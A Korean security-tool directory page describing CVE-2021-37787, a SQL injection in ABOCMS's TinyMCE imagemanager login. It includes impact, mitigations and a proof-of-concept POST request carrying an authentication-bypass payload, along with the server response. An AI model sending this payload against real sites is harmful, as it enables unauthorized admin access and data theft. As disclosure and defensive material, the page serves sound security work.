Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-37787 — CVE-2021-37787 | Kitploit
도구/GitHubGitHub/vasykor/cve-2021-37787
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHubvasykor/cve-2021-37787

CVE-2021-37787

CVE-2021-37787

저장소 보기
121년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-37787: ABOCMS TinyMCE 모듈의 SQL 인젝션

취약점 세부 정보

  • CVE ID: CVE-2021-37787
  • 제품: ABOCMS
  • 영향을 받는 버전: 5.8.x, ≤5.9.3
  • 취약점 유형: SQL 인젝션
  • CVSS 점수: 9.8

설명

ABOCMS의 TinyMCE 모듈에 치명적인 SQL 인젝션 취약점이 존재합니다. 이 취약점은 TinyMCE 모듈이 데이터베이스와 상호 작용할 때 입력 검증이 충분하지 않아 발생하며, 공격자가 악의적인 SQL 쿼리를 주입할 수 있게 합니다. 이로 인해 무단 데이터 액세스, 수정 또는 기본 데이터베이스의 완전한 손상까지 초래할 수 있습니다.

취약한 엔드포인트는 TinyMCE 모듈이 사용자 제공 입력을 처리하는 과정에 있습니다. 공격자는 이 결함을 악용하여 임의의 SQL 명령을 실행할 수 있습니다.

영향

  • 인증 우회.
  • 민감한 데이터 추출.
  • 데이터베이스 레코드 수정 또는 삭제.
  • 데이터베이스 구성에 따라 원격 코드 실행 가능성.

개념 증명(PoC)

POST 요청

root@kitploit:~
POST /js/admin/tiny_mce/plugins/imagemanager/login_session_auth.php HTTP/1.1
Host: <yourdomain.name>
Content-Type: application/x-www-form-urlencoded

return_url=%2Fjs%2Fadmin%2Ftiny_mce%2Fplugins%2Fimagemanager%2Findex.php%3Ftype%3Dim%26page%3Dindex.html&login=1%27+OR+%271%27%3D1+%23&password=1&submit_button=Login

응답

root@kitploit:~
HTTP/1.1 302 Found
Server: nginx-reuseport/1.21.1
Date: <date>
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Keep-Alive: timeout=30
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
A-Powered-By: ABO.CMS 5.9.3 (fe01ce2a7fbac8fafaed7c982a04e229)
location: /js/admin/tiny_mce/plugins/imagemanager/index.php?type=im&page=index.html

취약한 엔드포인트

다음 엔드포인트를 통해 취약점이 트리거될 수 있습니다:

/js/admin/tiny_mce/plugins/imagemanager/login_session_auth.php /js/admin/tiny_mce/plugins/filemanager/login_session_auth.php

완화 방법

  • 사용자:

    • 최신 버전의 ABOCMS로 업그레이드하세요.
    • TinyMCE 모듈이 필수가 아닌 경우 비활성화하세요.
  • 개발자:

    • 데이터베이스와 상호 작용할 때 준비된 문(prepared statements) 또는 매개변수화된 쿼리를 사용하세요.
    • TinyMCE 모듈을 최신 보안 버전으로 업데이트하세요.
    • 악성 페이로드를 걸러내기 위해 적절한 입력 검증을 구현하세요.

면책 조항

이 PoC는 교육 및 보안 연구 목적으로만 제공됩니다. 시스템 소유자의 명시적 허가 없이 이 코드를 사용하여 시스템이나 네트워크에 피해를 주지 마십시오. 저자는 이 PoC로 인한 오용이나 피해에 대해 책임을 지지 않습니다.

도구 다운로드